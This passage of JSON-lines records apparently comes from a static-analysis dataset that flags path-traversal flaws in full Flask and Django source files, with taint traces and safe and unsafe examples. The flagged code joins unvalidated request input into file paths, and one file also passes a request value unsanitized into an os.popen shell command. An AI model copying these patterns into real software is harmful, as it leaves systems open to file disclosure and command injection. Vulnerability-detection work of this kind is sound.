"issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 58, "entireCode": "# -*- coding: utf-8 -*-\nimport os, re\nfrom flask import Blueprint, request\nfrom application import app, db\nfrom common.components.helper.UtilHelper import UtilHelper\n\nroute_home_gii = Blueprint('home_gii_page', __name__)\n\n\n@route_home_gii.route(\"/\")\n@route_home_gii.route(\"/index\")\ndef gii_index():\n return UtilHelper.renderView(\"/home/tools/gii/index.html\")\n\n\n@route_home_gii.route(\"/model\", methods=[\"POST\", \"GET\"])\ndef gii_model():\n default_path_prefix = \"/common/models/\"\n if UtilHelper.isGet():\n db.reflect()\n # dict_keys 转 list\n table_list = list(db.metadata.tables.keys())\n table_list.sort()\n return UtilHelper.renderView(\"/home/tools/gii/model.html\", {\n \"default_path_prefix\": default_path_prefix,\n \"table_list\": table_list\n })\n\n req = request.values\n\n table = req.get(\"table\", \"\").strip()\n path = req.get(\"path\", \"\").strip()\n\n # 后面这里的数据库做成选择的,因为有多数据库的可能\n engine_uri = app.config.get('SQLALCHEMY_DATABASE_URI', '')\n folder_path = app.root_path + default_path_prefix + path\n # 不存在就新建\n if not os.path.exists(folder_path):\n os.makedirs(folder_path)\n\n model_name = (table.replace(\"-\", \" \").replace(\"_\", \" \").title()).replace(\" \", \"\")\n model_path = folder_path + \"/\" + model_name + \".py\"\n\n # 2>&1 标准错误重定向到标准输出, --noinflect 不把复数处理成单数 例如 user_news 会变成 UserNew\n cmd = 'flask-sqlacodegen \"{0}\" --noinflect --tables {1} --outfile \"{2}\" --flask 2>&1'.format(engine_uri, table,\n model_path)\n print(cmd)\n p = os.popen(cmd)\n out_list = p.readlines()\n p.close()\n if out_list and len(out_list) > 0:\n return UtilHelper.renderErrJSON(\"失败原因:\" + \"
\".join(out_list))\n\n # 为了不破坏扩展,实现正则替换,读文件,按行替换\n if not os.path.exists(model_path):\n return UtilHelper.renderErrJSON(\"model文件不存在,无法执行替换~~\")\n try:\n f = open(model_path)\n ret = []\n ret.append(\"# coding: utf-8\\n\")\n ret.append(\"from application import db\\n\\n\")\n ignore_kws = [\"from flask_sqlalchemy\", \"from sqlalchemy\", \"SQLAlchemy\", \"coding: utf-8\"]\n line_break_kws = [\"\\n\", \"\\r\\n\"]\n for line in f.readlines():\n tmp_break_flag = False\n for _ignore_kw in ignore_kws:\n if _ignore_kw in line:\n tmp_break_flag = True\n break\n\n if tmp_break_flag:\n continue\n\n if line in line_break_kws:\n continue\n ret.append(line)\n f.close()\n\n # 最后加一些常用方法\n common_funcs = '''\n def __init__(self, **items):\n for key in items:\n if hasattr(self, key):\n setattr(self, key, items[key])\n '''\n f = open(model_path, \"w\", encoding=\"utf-8\")\n f.write(\"\".join(ret) + common_funcs)\n f.flush()\n f.close()\n except Exception as e:\n pass\n\n return UtilHelper.renderSucJSON()\n\n\n@route_home_gii.route(\"/job\", methods=[\"POST\", \"GET\"])\ndef gii_job():\n default_path_prefix = \"/jobs/tasks/\"\n if UtilHelper.isGet():\n return UtilHelper.renderView(\"/home/tools/gii/job.html\", {\n \"default_path_prefix\": default_path_prefix\n })\n\n req = request.values\n\n filename = req.get(\"filename\", \"\").strip()\n path = req.get(\"path\", \"\").strip()\n note = req.get(\"note\", \"\").strip()\n\n # 后面这里的数据库做成选择的,因为有多数据库的可能\n folder_path = app.root_path + default_path_prefix + path\n # 不存在就新建\n if not os.path.exists(folder_path):\n os.makedirs(folder_path)\n\n task_path = folder_path + \"/\" + filename + \".py\"\n\n module_task = ((path + \"/\") if path else '') + filename\n tips = 'python {0}/manage_job.py runjob -m {1}'.format(app.root_path, module_task)\n\n try:\n content = '''\n# -*- coding: utf-8 -*-\nimport logging\nfrom flask.logging import default_handler\nfrom jobs.BaseJob import BaseJob\nfrom application import app\n\n\\'\\'\\'\n{0}\n{1}\n\\'\\'\\'\nclass JobTask( BaseJob ):\n def __init__(self):\n # 设置Job使用debug模式\n app.config['DEBUG'] = True\n logging_format = logging.Formatter(\n '%(levelname)s %(asctime)s %(filename)s:%(funcName)s L%(lineno)s %(message)s')\n default_handler.setFormatter(logging_format)\n\n def run(self, params):\n app.logger.info( \"执行命令是:{0}\" )\n app.logger.info( \"这是自动生成的job\" )\n return True \n '''.format(note, tips)\n\n f = open(task_path, \"w\", encoding=\"utf-8\")\n f.write(content)\n f.flush()\n f.close()\n except Exception as e:\n pass\n\n return UtilHelper.renderSucJSON()", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.values"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "strip"}}, {"lineNo": 32, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 32, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "strip"}}, {"lineNo": 32, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 36, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 41, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "replace"}}, {"lineNo": 41, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "title"}}, {"lineNo": 41, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 42, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 58, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "17305790024b000bb8591dc612da2766db1f04092202b77c92341394fbacf0ed", "license": {"spdx": ["MIT"], "repo": "devbnj/sva", "path": "app/main.py", "repo_head_hexsha": "0e79f99ca039266bb861e265a5be809d08a67fbb", "stack_hexsha": "6818083798a9d87ded32cb805a3a41ed622dda29", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 113, "entireCode": "# main.py\n\nfrom flask import Blueprint, render_template, request, session\nfrom flask import current_app as app\nfrom .MainEvents import run as moonrun, sunrun\nfrom .MainHome import homerun, homesrch, homeMultiSrch, homeThreeSrch\nfrom .MainAyur import ayutrt\nimport sqlite3, os, json\nfrom sqlite3 import dbapi2 as sqlite\n\npagecount = 1\nmaxpage = 17\nmain = Blueprint('main', __name__)\n\n# def\ndef commonClass(pg):\n if pg == 0:\n pg = 1\n if 'page' in session:\n pg = session['page']\n filename = os.path.join(app.static_folder, ('ayur/ayur%d.json') % pg)\n hdr, bdy, pg1, pg2, note, cav = {}, {}, {}, {}, {}, {}\n with open(filename) as ayur_file:\n tdata = json.load(ayur_file)\n hdr = tdata[\"header\"]\n bdy = tdata['body']\n pg1 = tdata[\"para1\"]\n pg2 = tdata[\"para2\"]\n if \"notes\" in tdata:\n note = tdata[\"notes\"]\n if \"caveat\" in tdata:\n cav = tdata[\"caveat\"]\n return render_template('ayur01.html', hding=hdr, bdy=bdy, pg1=pg1, pg2=pg2, nt=note, cv=cav, pg=pg, mx=maxpage)\n# end def\n\n@main.route('/prev/')\ndef prev():\n global pagecount\n if 'page' in session:\n pg = session['page']\n else:\n pg = pagecount\n session['page'] = pg\n # page decrement\n pg = pg - 1\n if pg < 1:\n pg = 1\n session['page'] = pg\n return commonClass(pg)\n\n@main.route('/next/')\ndef nextc():\n global pagecount\n if 'page' in session:\n pg = session['page']\n else:\n pg = pagecount\n session['page'] = pg\n if pg < maxpage:\n pg = pg + 1\n session['page'] = pg\n return commonClass(pg)\n\n@main.route('/')\ndef index():\n return render_template('index.html')\n\n@main.route('/resort/')\ndef resort():\n return render_template('resinput.html')\n\n@main.route('/travel/')\ndef travel():\n return render_template('travelinput.html')\n\n@main.route('/const/')\ndef constitute():\n return render_template('ayur02.html', hding=\"Constitution Physical Questions\")\n\n@main.route('/ayursrch/')\ndef asrch():\n return render_template('ayurinput.html')\n\n@main.route('/ayurtreat/')\ndef tsrch():\n return render_template('atinput.html')\n\n@main.route('/ayurtreat1/', methods=['POST'])\ndef atreatfound():\n h = request.form.get('humor')\n p = request.form.get('area')\n result = ayutrt(p, h)\n hd = result[\"header\"]\n bd = result[\"body\"]\n sy1 = result[\"sy1\"]\n sy2 = result[\"sy2\"]\n sy3 = result[\"sy3\"]\n tr1 = result[\"tr1\"]\n tr2 = result[\"tr2\"]\n tr3 = result[\"tr3\"]\n tr4 = result[\"tr4\"]\n tr5 = result[\"tr5\"]\n tr6 = result[\"tr6\"]\n return render_template('atfnd.html', hd=hd, bd=bd, sy1=sy1, sy2=sy2, sy3=sy3, \\\n tr1=tr1, tr2=tr2, tr3=tr3, tr4=tr4, tr5=tr5, tr6=tr6,)\n\n\n@main.route('/ayur2/', methods=['POST'])\ndef ahfound():\n s = request.form.get('asymp')\n filename = os.path.join(app.static_folder, ('awsym/' + s + '.json'))\n nm, v, p, k, desc, vd, pd, kd = \"\", \"\", \"\", \"\", \"\",\"\",\"\",\"\"\n with open(filename) as ayur_file:\n tdata = json.load(ayur_file)\n try:\n nm = tdata[\"name\"]\n v = tdata[\"V\"]\n p = tdata['P']\n k = tdata[\"K\"]\n desc = tdata[\"desc\"]\n vd = tdata[\"vdesc\"]\n pd = tdata[\"pdesc\"]\n kd = tdata[\"kdesc\"]\n except:\n # ignore\n print (\"error in traversing\")\n\n return render_template('ayurfnd.html', nm=nm, v=v, p=p, k=k, d=desc, vd=vd, pd=pd, kd=kd)\n\n\nvsum, psum, ksum = 0, 0, 0\ndef summit(st, vs, ps, ks):\n if (st == 'v'): vs = vs + 1 \n if (st == 'p'): ps = ps + 1 \n if (st == 'k'): ks = ks + 1\n return vs, ps, ks\n\n@main.route('/const01/', methods=['POST'])\ndef pconstitute():\n global vsum, psum, ksum\n vsum, psum, ksum = 0, 0, 0\n s = request.form.get('selbuild')\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selweight\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selweightmngt\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selskin\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selhair\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selteeth\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"seleyes\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"sellips\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selchin\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selcheeks\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selneck\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selnails\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selchest\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selbelly\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selnavel\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selhips\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n return render_template('ayur03.html', hding=\"Constitution Physical Questions\", vs=vsum, ps=psum, ks=ksum)\n\n@main.route('/const02/', methods=['POST'])\ndef tconstitute():\n global vsum, psum, ksum\n s = request.form.get(\"seljoints\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selappetite\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"seltaste\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"seldigest\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selevacuate\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selthirst\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selperspire\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selactivity\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selmental\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selstamina\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selsleep\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selemotion\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"seltemperament\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selintellect\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selspeech\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selfaith\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selspiritual\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"seldream\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selsex\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n s = request.form.get(\"selfinance\")\n vsum, psum, ksum = summit(s, vsum, psum, ksum)\n chk = ''\n if max(vsum, psum, ksum) == vsum:\n chk = 'Vata'\n elif max(vsum, psum, ksum) == psum:\n chk = 'Pitta'\n else:\n chk = 'Kapha'\n return render_template('ayur04.html', hding=\"Constitution Questions Concluded\", \\\n vs=vsum, ps=psum, ks=ksum, chk=chk)\n\t \n@main.route('/ayur/')\ndef ayur():\n global pagecount\n session['page'] = 1\n return commonClass(pagecount)\n\n@main.route('/mind/')\ndef mind():\n con = sqlite3.connect('atlas.db')\n cur = con.cursor()\n res = []\n res2 = []\n for row in cur.execute('select iso, country from CountryInfo'):\n res.append({'iso':row[0], 'country': row[0] + ' | ' + row[1]})\n return render_template('placeinput.html', postcountry=res)\n\n@main.route('/mind0/', methods=['POST'])\ndef mind0():\n con = sqlite3.connect('atlas.db')\n cur = con.cursor()\n iso = request.form.get('iso')\n ctr = '%' + request.form.get('place') + '%'\n rst = []\n res = {}\n\n xsql = \"SELECT A._idx, A.name, A.asciiname, A.alternatenames, B.iso, A.latitude, A.longitude, A.elevation, C.timezoneid, C.gmtoffset, C.dstoffset, C.rawoffset FROM GeoNames as A, CountryInfo AS B, Timezones AS C WHERE B.iso = (?) AND B._idx = A.country AND (A.name LIKE (?)) AND A.timezone = C._idx ORDER BY A.name\"\n for row in cur.execute(xsql, (iso, ctr)):\n res['id'] = row[0]\n res['name'] = str(row[1]) + \"|Alt:\" + str(row[3]) +\"|Lat: \"+ str(row[5]) + \"|Lng: \" + str(row[6]) + \"|TZ:\"+ str(row[8])\n rst.append(res.copy())\n # print ('res', rst)\n return render_template('placeinter.html', postplace=rst, iso=iso, ctr=ctr) \n\n@main.route('/mind1/', methods=['POST'])\ndef mind1():\n con = sqlite3.connect('atlas.db')\n cur = con.cursor()\n iso = request.form.get('iso')\n ctr = '%' + request.form.get('ctr') + '%'\n plc = request.form.get('plc')\n res = {}\n\n xsql = \"SELECT A._idx, A.name, A.asciiname, A.alternatenames, B.iso, A.latitude, A.longitude, A.elevation, C.timezoneid, C.gmtoffset, C.dstoffset, C.rawoffset FROM GeoNames as A, CountryInfo AS B, Timezones AS C WHERE A._idx = (?) AND B.iso = (?) AND B._idx = A.country AND (A.name LIKE (?)) AND A.timezone = C._idx ORDER BY A.name\"\n for row in cur.execute(xsql, (plc, iso, ctr)):\n res['name'] = str(row[1]) + ', ' + str(row[4])\n res['lng'] = str(row[6]) \n res['lat'] = str(row[5]) \n res['gmt'] = str(row[9]) \n res['dst'] = str(row[10]) \n print ('res', res)\n return render_template('mindinput.html', postplace=res) \n\n@main.route('/mind/', methods=['POST'])\ndef mindpost():\n zt = {}\n yr = int(request.form.get('yr'))\n mo = int(request.form.get('mo'))\n dy = int(request.form.get('dy'))\n hr = int(request.form.get('hr'))\n mi = int(request.form.get('mn'))\n tz = float(request.form.get('tz'))\n ln = float(request.form.get('ln'))\n lt = float(request.form.get('lt'))\n sy = int(request.form.get('sy'))\n ey = int(request.form.get('ey'))\n zt['yr'] = yr\n zt['mo'] = mo\n zt['dy'] = dy\n zt['hr'] = hr\n zt['mn'] = mi\n zt['tz'] = tz\n zt['ln'] = ln\n zt['lt'] = lt\n zt['sy'] = sy\n zt['ey'] = ey\n mooner, minder = moonrun(yr, mo, dy, hr, mi, tz, ln, lt, sy, ey)\n # mooner, minder = moonrun(1959, 11, 12, 13, 30, +5.5, 88.3639, 22.5726, 2020, 2022)\n return render_template('mind.html', posts=minder, mpost=mooner, mdt=zt)\n\n@main.route('/spirit/', methods=['POST'])\ndef spiritpost():\n zt = {}\n yr = int(request.form.get('yr'))\n mo = int(request.form.get('mo'))\n dy = int(request.form.get('dy'))\n hr = int(request.form.get('hr'))\n mi = int(request.form.get('mn'))\n tz = float(request.form.get('tz'))\n ln = float(request.form.get('ln'))\n lt = float(request.form.get('lt'))\n sy = int(request.form.get('sy'))\n ey = int(request.form.get('ey'))\n zt['yr'] = yr\n zt['mo'] = mo\n zt['dy'] = dy\n zt['hr'] = hr\n zt['mn'] = mi\n zt['tz'] = tz\n zt['ln'] = ln\n zt['lt'] = lt\n zt['sy'] = sy\n zt['ey'] = ey\n suner, sunder = sunrun(yr, mo, dy, hr, mi, tz, ln, lt, sy, ey)\n return render_template('spirit.html', posts=sunder, mpost=suner, mdt=zt)\n\n@main.route('/body/')\ndef body():\n return render_template('homeoinput.html')\n\n@main.route('/body/', methods=['POST'])\ndef bodypost():\n tc = request.form.get('tchar')\n f = homerun(tc)\n return render_template('homeo.html', hpost=f, tpost='List Alphabetically')\n\n@main.route('/body2/', methods=['POST'])\ndef body2post():\n tc = request.form.get('tchar2')\n f = homesrch(tc)\n return render_template('homeo.html', hpost=f, tpost='Search by '+tc) \n\n@main.route('/body3/', methods=['POST'])\ndef body3post():\n tc1 = request.form.get('symp1').lower()\n tc2 = request.form.get('symp2').lower()\n ta1 = request.form.get('cond1')\n f = homeMultiSrch(tc1, ta1, tc2)\n strtc = tc1 + ' ' + ta1 + ' [' + tc2 + '] '\n return render_template('homeo.html', hpost=f, tpost='Search by '+strtc, tc1=tc1, ta1=ta1, tc2=tc2)\n\n@main.route('/body4/', methods=['POST'])\ndef body4post():\n tc1 = request.form.get('symp1').lower()\n tc2 = request.form.get('symp2').lower()\n tc3 = request.form.get('symp3').lower()\n ta1 = request.form.get('cond1')\n ta2 = request.form.get('cond2')\n f = homeThreeSrch(tc1, ta1, tc2, ta2, tc3)\n strtc = tc1 + ' ' + ta1 + ' [' + tc2 + '] ' + ta2 + ' [' + tc3 + '] '\n return render_template('homeo.html', hpost=f, tpost='Search by '+strtc, tc1=tc1, ta1=ta1, tc2=tc2,\n ta2=ta2, tc3=tc3)\n\n@main.errorhandler(404)\ndef not_found_error(error):\n return render_template('404.html'), 404\n\n@main.errorhandler(500)\ndef internal_error(error):\n return render_template('500.html'), 500", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 110, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 110, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 110, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 111, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "os.path.join"}}, {"lineNo": 111, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 113, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "1d274f42eb1705a28234d75dfd46a9f91922889a11dc22245fffb2a97041a213", "license": {"spdx": ["Apache-2.0"], "repo": "IBM/omnia", "path": "metrics/views/admin.py", "repo_head_hexsha": "588f380e04c697ca9d5ed84822c14b37dad92d27", "stack_hexsha": "c3d229633a1e2e64ea9e455ed1a12936612bfc22", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 1452, "entireCode": "import csv\nimport io\nimport os\nimport requests\nimport sys\n\nfrom django.contrib.admin.views.decorators import staff_member_required\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required, user_passes_test\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.contrib.auth.models import User\n\nfrom django.db.models import Count, Value, Sum, Q\nfrom django.http import HttpResponse, HttpResponseNotAllowed, JsonResponse\nfrom django.shortcuts import get_object_or_404, render, redirect\nfrom django.urls import reverse\nfrom django.utils.text import capfirst\n\nfrom djqscsv import render_to_csv_response\n\nfrom metrics.models import *\nfrom research.models import *\nfrom info.models import *\nfrom ..forms import *\nfrom metrics.response_data_helpers import createCsvFromData, createCsvAndEmailFile, fetchNewUsabillaResponses, fetchNewBeeHeardResponses\nimport metrics.helpers as helpers\nimport metrics.access_helpers as accessHelpers\n\n\n# OLD leaving until we know this is a good idea to switch to. \ndef getAdminBreadcrumbBase():\n\treturn []\n\n\ndef doCommonListView(request, model, listItems):\n\tthisModel = model\n\tnewItemUrl = reverse(f'metrics:admin_{thisModel._meta.model_name}_add')\n\ttemplateName = f'metrics/admin_{thisModel._meta.model_name}_list.html'\n\t\n\tcontext = {\n\t\t'listItems': listItems,\n\t\t'modelMeta': thisModel._meta,\n\t\t'newItemUrl': newItemUrl\n\t}\n\n\tresponse = render(request, templateName, context)\n\thelpers.clearPageMessage(request)\n\treturn response\n\n\ndef doCommonAddItemView(request, thisModel):\n\tthisModelForm = globals()[thisModel._meta.object_name + 'Form']\n\tthisViewTemplate = 'admin_common_add.html'\n\tadminTemplate = 'metrics/page_template_admin.html'\n\tthisModelListUrl = reverse(f'metrics:admin_{thisModel._meta.model_name}_list')\n\t\n\tbreadcrumbs = getAdminBreadcrumbBase()\n\tbreadcrumbs.append(\n\t\t{\n\t\t\t'text': capfirst(thisModel._meta.verbose_name_plural),\n\t\t\t'url': thisModelListUrl\n\t\t}\n\t)\n\n\tcontext = {\n\t\t'breadcrumbs': breadcrumbs,\n\t\t'form': None,\n\t\t'modelMeta': thisModel._meta,\n\t\t'newItemName': thisModel._meta.verbose_name,\n\t\t'adminTemplate': adminTemplate,\n\t}\n\n\tif request.method == 'GET':\n\t\tform = thisModelForm()\n\t\tcontext['form'] = form\n\n\t\tresponse = render(request, thisViewTemplate, context)\n\t\thelpers.clearPageMessage(request)\n\t\t\n\telif request.method == 'POST':\n\t\tform = thisModelForm(request.POST)\n\t\tcontext['form'] = form\n\t\t\n\t\tif form.is_valid():\n\t\t\tpost = form.save(commit=False)\n\t\t\tpost.created_by = request.user\n\t\t\tpost.updated_by = request.user\n\t\t\tpost.save()\n\t\t\tform.save_m2m()\n\t\t\t\n\t\t\t# If it's a success and they want JSON back, return the ID and label as JSON,\n\t\t\t# otherwise we redirect to the list page with a message.\n\t\t\tif request.POST.get('returntype', None) == 'json':\n\t\t\t\tresponse = JsonResponse({\n\t\t\t\t\t'id': post.id,\n\t\t\t\t\t'name': post.__str__()\n\t\t\t\t}, status=200)\n\t\t\telse:\n\t\t\t\thelpers.setPageMessage(request, 'success', f'{capfirst(thisModel._meta.verbose_name)} was added successfully')\n\t\t\t\tresponse = redirect(thisModelListUrl)\n\t\telse:\n\t\t\tresponse = render(request, thisViewTemplate, context)\n\t\t\t\n\treturn response\n\t\n\t\ndef doCommonEditItemView(request, thisModel, id, nameField, viewTemplate=None, allowDelete=False):\n\tthisModelItem = get_object_or_404(thisModel, id=id)\n\tthisModelForm = globals()[thisModel._meta.object_name + 'Form']\n\tthisViewTemplate = 'admin_common_edit.html' if not viewTemplate else viewTemplate\n\tadminTemplate = 'metrics/page_template_admin.html'\n\taddItemTemplate = 'admin_common_add.html'\n\tthisModelListUrl = reverse(f'metrics:admin_{thisModel._meta.model_name}_list')\n\t\n\ttry:\n\t\tthisModelDeleteUrl = reverse(f'metrics:admin_{thisModel._meta.model_name}_delete')\n\texcept:\n\t\tthisModelDeleteUrl = None\n\t\n\tbreadcrumbs = getAdminBreadcrumbBase()\n\tbreadcrumbs.append(\n\t\t{\n\t\t\t'text': capfirst(thisModel._meta.verbose_name_plural),\n\t\t\t'url': thisModelListUrl\n\t\t}\n\t)\n\n\tcontext = {\n\t\t'breadcrumbs': breadcrumbs,\n\t\t'form': None,\n\t\t'modelMeta': thisModel._meta,\n\t\t'thisModelItem': thisModelItem,\n\t\t'itemName': getattr(thisModelItem, nameField),\n\t\t'adminTemplate': adminTemplate,\n\t\t'addItemTemplate': addItemTemplate,\n\t\t'thisModelDeleteUrl': thisModelDeleteUrl,\n\t\t'allowDelete': allowDelete,\n\t}\n\n\tif request.method == 'GET':\n\t\tform = thisModelForm(instance=thisModelItem)\n\t\tcontext['form'] = form\n\n\t\tresponse = render(request, thisViewTemplate, context)\n\t\thelpers.clearPageMessage(request)\n\n\telif request.method == 'POST':\n\t\tform = thisModelForm(request.POST, instance=thisModelItem)\n\t\tcontext['form'] = form\n\t\t\n\t\tif form.is_valid():\n\t\t\tpost = form.save(commit=False)\n\t\t\tpost.updated_by = request.user\n\t\t\tpost.save()\n\t\t\tform.save_m2m()\n\t\t\t\n\t\t\thelpers.setPageMessage(request, 'success', f'{capfirst(thisModel._meta.verbose_name)} was edited successfully')\n\t\t\tresponse = redirect(thisModelListUrl)\n\t\telse:\n\t\t\tresponse = render(request, thisViewTemplate, context)\n\t\t\t\n\treturn response\n\n\ndef doCommonDeleteView(request, thisModel):\n\tthisId = request.POST.get('id', None)\n\tthisItem = get_object_or_404(thisModel, id=thisId)\n\tthisModelListUrl = reverse(f'metrics:admin_{thisModel._meta.model_name}_list')\n\t\n\ttry:\n\t\tthisItem.delete()\n\t\thelpers.setPageMessage(request, 'success', f'{capfirst(thisModel._meta.verbose_name)} was deleted successfully')\n\texcept Exception as ex:\n\t\thelpers.setPageMessage(request, 'error', f'{capfirst(thisModel._meta.verbose_name)} was unable to be deleted because there are associated responses.')\n\t\n\tresponse = redirect(thisModelListUrl)\n\t\t\n\treturn response\n\n\n##\n##\t/metrics/admin/\n##\n##\tAdmin home page. Anyone who is an editor or higher can access.\n##\n@user_passes_test(accessHelpers.isAnyProjectEditor_decorator)\ndef admin_home(request):\n\tprojectsCanEdit = Project.projectsCanEdit(request.user)\n\tprojectSnapshots = ProjectSnapshot.objects.exclude(date_period='month').filter(project__in=projectsCanEdit)\n\t\n\tcontext = {\n\t\t'counts': {\n\t\t\t'admins': User.objects.filter(groups__name='admins').count(),\n\t\t\t'artifacts': estimateCount('Artifact', app='research'),\n\t\t\t'browsers': estimateCount('Browser'),\n\t\t\t'brokenLinks': BrokenLink.objects.count(),\n\t\t\t'campaigns': estimateCount('Campaign'),\n\t\t\t'cities': estimateCount('City'),\n\t\t\t'activityLogs': estimateCount('ActivityLog'),\n\t\t\t'countries': estimateCount('Country'),\n\t\t\t'dataSources': estimateCount('DataSource'),\n\t\t\t'domains': Domain.domainsCanAdmin(request.user).count(),\n\t\t\t'domainYearSnapshots': estimateCount('DomainYearSnapshot'),\n\t\t\t'faqs': estimateCount('Faq', app='info'),\n\t\t\t'faqCategories': estimateCount('FaqCategory', app='info'),\n\t\t\t'goalCompletedCategories': 